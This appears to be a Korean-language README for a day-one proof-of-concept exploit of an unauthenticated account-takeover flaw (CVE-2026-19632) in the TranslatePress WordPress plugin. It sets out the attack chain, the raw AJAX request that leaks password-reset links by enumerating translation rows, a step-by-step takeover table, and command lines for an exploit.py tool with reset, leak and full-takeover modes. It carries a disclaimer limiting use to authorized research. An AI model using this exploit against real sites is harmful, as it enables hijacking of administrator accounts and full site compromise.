
CVE-2026-19632에 대한 하루짜리 개념 증명 익스플로잇으로, TranslatePress WordPress 플러그인의 심각한 인증되지 않은 계정 탈취 취약점으로, 비밀번호 재설정 링크 노출 및 관리자 계정 탈취를 시연합니다.
CVE: CVE-2026-19632 | CVSS: 9.8 (Critical)
WordPress용 TranslatePress 플러그인을 통한 인증되지 않은 계정 탈취. CVE 공개부터 작동하는 Day-One PoC까지 걸린 시간: 5시간 9분 40초
3.3.1 버전까지 영향을 받으며, 해당 문제는 3.3.2에서 패치되었습니다.
TranslatePress는 발신 WordPress 이메일을 번역하고 번역된 문자열을 자체 데이터베이스에 저장할 수 있습니다.
TranslatePress는 또한 비밀번호 재설정 이메일을 비밀 키가 포함된 전체 재설정 링크와 함께 번역 테이블에 직접 저장합니다.
인증되지 않은 공격자는 공개된 TranslatePress AJAX 액션을 통해 해당 행을 조회할 수 있습니다:
비밀번호 재설정 트리거
-> 재설정 이메일이 번역됨
-> 재설정 URL이 보조 언어 사전에 저장됨
-> 공개 AJAX 엔드포인트가 해당 행을 반환
-> URL을 사용하여 새 관리자 비밀번호 설정
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
공격 체인에는 다음이 필요합니다:
WordPress가 재설정 이메일을 보낼 때, TranslatePress는 수신자의 선호 언어로 전환하고 이메일을 번역 파이프라인에 통과시킵니다. 취약한 버전은 이 과정에서 발생하는 문자열(재설정 URL 포함)을 저장합니다.
TranslatePress는 또한 인증되지 않은 방문자를 위해 을 등록합니다. 해당 는 공개 번역 페이지에 노출되며, 요청은 공격자가 선택한 사전 행 ID를 허용합니다. 해당 ID를 열거하면 저장된 재설정 이메일과 사용 가능한 재설정 링크가 드러납니다.
trp_get_translations_regularnonce| 단계 | 작업 |
|---|---|
| 1 | /he/cve-lab-seed/을 로드하고 공개 TranslatePress AJAX nonce를 추출합니다. |
| 2 | labadmin 계정에 대해 WordPress의 비밀번호 분실 양식을 제출합니다. |
| 3 | TranslatePress가 관리자의 히브리어 로케일을 사용하여 재설정 이메일을 처리합니다. |
| 4 | trp_get_translations_regular을 통해 사전 행을 열거합니다. |
| 5 | 가장 최근의 일치하는 wp-login.php?action=rp 재설정 URL을 추출합니다. |
| 6 | URL을 열고 새 비밀번호를 제출합니다. |
| 7 | 새로 로그인을 수행하고 WordPress 로그인 쿠키와 /wp-admin/ 접근 권한을 모두 확보합니다. |
관련 인증되지 않은 요청의 형태는 다음과 같습니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
nonce와 유용한 행 ID는 동적이므로 exploit.py는 이를 하드코딩하지 않고 탐색합니다.
최소 사용법:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
비밀번호를 변경하지 않고 재설정 URL만 유출:
python .\exploit.py --stop-after leak
비밀번호 재설정 이메일만 트리거:
python .\exploit.py --stop-after reset
| 매개변수 | 기본값 | 용도 |
|---|---|---|
--url | http://127.0.0.1:19632 | WordPress 기본 URL. |
--username | labadmin | 재설정을 요청할 계정. |
--language | he_IL | PoC가 조회하는 보조 언어 사전. |
--public-path | /he/cve-lab-seed/ | AJAX nonce를 얻는 데 사용되는 공개 번역 페이지. |
--new-password | 없음 | 새 비밀번호; --stop-after takeover 사용 시 필수. |
--start-id | 1 | 요청할 첫 번째 사전 행 ID. |
--max-id | 500 | 요청할 마지막 사전 행 ID. 재설정 URL을 찾지 못하면 증가시키세요. |
--batch-size | 100 | AJAX 호출당 요청되는 사전 ID 수. 유효 범위: 1-500. |
--timeout | 15 | HTTP 타임아웃(초). |
--settle-seconds | 1 | 재설정 이메일 요청 후 지연 시간. |
--stop-after | takeover | reset, leak 또는 전체 takeover 후 중지. |
이 프로젝트는 승인된 보안 연구, 교육 및 격리된 실험실 환경에서의 테스트만을 위한 것입니다.
이 취약점은 원래 momopon1415에 의해 발견 및 공개되었습니다.
소유자의 명시적 승인 없이 이 소프트웨어를 시스템, 네트워크 또는 데이터에 사용하지 마십시오. 귀하는 모든 관련 법률을 준수하고 이 프로젝트 사용으로 인해 발생하는 모든 결과에 대해 단독 책임이 있습니다.
저자 YonLiud는 이 프로젝트를 보증 없이 "있는 그대로" 제공하며, 이 소프트웨어 또는 파생 저작물로 인해 발생하는 손해, 데이터 손실, 서비스 중단, 무단 접근 또는 기타 오용에 대해 책임을 지지 않습니다.
이 프로젝트를 사용함으로써 귀하는 이러한 조건을 인정하고 수락합니다.